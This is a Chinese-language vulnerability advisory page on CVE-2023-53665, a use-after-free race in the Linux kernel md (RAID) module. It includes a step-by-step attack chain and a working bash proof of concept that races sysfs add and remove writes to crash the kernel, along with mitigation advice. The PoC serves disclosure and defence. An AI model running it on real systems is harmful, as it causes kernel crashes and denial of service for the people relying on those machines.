IPBUF安全漏洞报告
English
CVE-2023-53665 CVSS 5.5 中危

CVE-2023-53665:Linux内核md模块释放后使用漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53665
漏洞类型
释放后使用(Use-After-Free)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel md (Multiple Devices) 模块

相关标签

Use-After-FreeLinux Kernelmd模块RAID本地权限提升拒绝服务竞争条件内核漏洞CVE-2023-53665

漏洞概述

CVE-2023-53665是Linux内核中md(多设备)子系统的一个释放后使用(Use-After-Free)漏洞。该漏洞源于在调用export_rdev()函数后仍然对mddev结构体进行解引用操作。在Linux内核的md模块中,除了初始引用之外,mddev->kobject是由rdev->kobject引用的。当最后一个rdev被释放时,无法保证mddev结构体仍然有效。因此,在export_rdev()被调用之后,不应该再继续使用mddev指针。

该漏洞可以通过mdadm测试用例在极低概率下触发。当并发执行添加和移除rdev的操作时,可能导致mddev对象被提前释放,而代码仍然尝试访问该对象,从而触发通用保护错误(general protection fault)。攻击者可以利用此漏洞导致系统崩溃或拒绝服务(DoS)。该漏洞影响Linux 6.5.0-rc2及之前的多个版本,需要本地低权限用户即可触发,对系统可用性造成严重影响。

技术细节

从技术层面分析,该漏洞的根本原因在于mddev对象的引用计数管理不当。在Linux内核md模块中,mddev(md设备结构体)和rdev(raid设备结构体)之间存在复杂的引用关系。mddev->kobject通常由rdev->kobject持有引用,这意味着当所有rdev都被释放时,mddev对象也可能在后续被释放。

漏洞触发路径如下:
1. 用户通过sysfs接口(如/sys/block/md0/md/dev-xxx/state)触发rdev_attr_store操作
2. 在store过程中调用export_rdev()来移除rdev
3. export_rdev()执行后,如果这是最后一个rdev,mddev对象可能被释放
4. 但后续代码(如mddev_unlock()中的md_wakeup_thread())仍然尝试解引用已释放的mddev指针
5. 由于内存已被释放或重新分配,访问0x6b6b6b6b6b6b6bcb这类非规范地址,触发通用保护错误

漏洞利用条件较为苛刻,需要本地用户权限,并且需要通过并发操作(同时添加和移除设备)来制造竞争条件。攻击者需要持续向/sys/block/md0/md/new_dev写入设备号,同时向/sys/block/md0/md/dev-xxx/state写入remove命令,通过这种高频率的并发操作来增加触发竞争条件的概率。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要拥有本地系统访问权限(低权限即可),并确保系统使用受影响的Linux内核版本(6.5.0-rc2及之前版本),且md模块已加载。
STEP 2
步骤2:创建md阵列
通过向/sys/module/md_mod/parameters/new_array写入设备名来创建一个md阵列(如md0),为后续操作准备目标。
STEP 3
步骤3:并发添加设备
通过sysfs接口持续向/sys/block/md0/md/new_dev写入块设备号,高频率地向md阵列添加rdev设备。
STEP 4
步骤4:并发移除设备
同时通过sysfs接口持续向/sys/block/md0/md/dev-xxx/state写入remove命令,高频率地从md阵列移除rdev设备。
STEP 5
步骤5:触发竞争条件
并发操作导致竞争条件,当最后一个rdev被移除时,mddev对象被释放,但后续代码仍尝试解引用该指针,触发通用保护错误(kernel panic)。
STEP 6
步骤6:系统拒绝服务
内核崩溃导致系统不可用,攻击者成功实现本地拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2023-53665 PoC - Linux kernel md module Use-After-Free # This PoC triggers the vulnerability by concurrently adding and removing # rdev devices to trigger a race condition in mddev lifetime management. devname=${dev0##*/} devt=`cat /sys/block/$devname/dev` pid="" runtime=2 clean_up_test() { kill -9 $pid echo clear > /sys/block/md0/md/array_state } trap 'clean_up_test' EXIT add_by_sysfs() { while true; do echo $devt > /sys/block/md0/md/new_dev done } remove_by_sysfs() { while true; do echo remove > /sys/block/md0/md/dev-${devname}/state done } # Create md0 array echo md0 > /sys/module/md_mod/parameters/new_array || die "create md0 failed" # Run add and remove operations concurrently to trigger race condition add_by_sysfs & pid="$pid $!" remove_by_sysfs & pid="$pid $!" sleep $runtime exit 0 # Test command: # ./test --save-logs --logdir=/tmp/ --keep-going --dev=loop --tests=23rdev-lifetime # # Expected crash output: # general protection fault, probably for non-canonical address 0x6b6b6b6b6b6b6bcb: 0000 [#4] PREEMPT SMP # RIP: 0010:md_wakeup_thread+0x9e/0x320 [md_mod] # Call Trace: # mddev_unlock+0x1b6/0x310 [md_mod] # rdev_attr_store+0xec/0x190 [md_mod] # sysfs_kf_write+0x52/0x70

影响范围

Linux Kernel < 6.5.0-rc2
Linux Kernel 6.5.0-rc2 及之前的所有版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解风险:1)限制普通用户对/sys/block/md*/md/目录下new_dev和dev-*/state文件的写权限;2)如果系统不需要RAID功能,可以临时卸载md_mod模块(rmmod md_mod);3)通过SELinux策略限制对md相关sysfs接口的访问;4)监控异常的md设备操作,及时发现可能的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表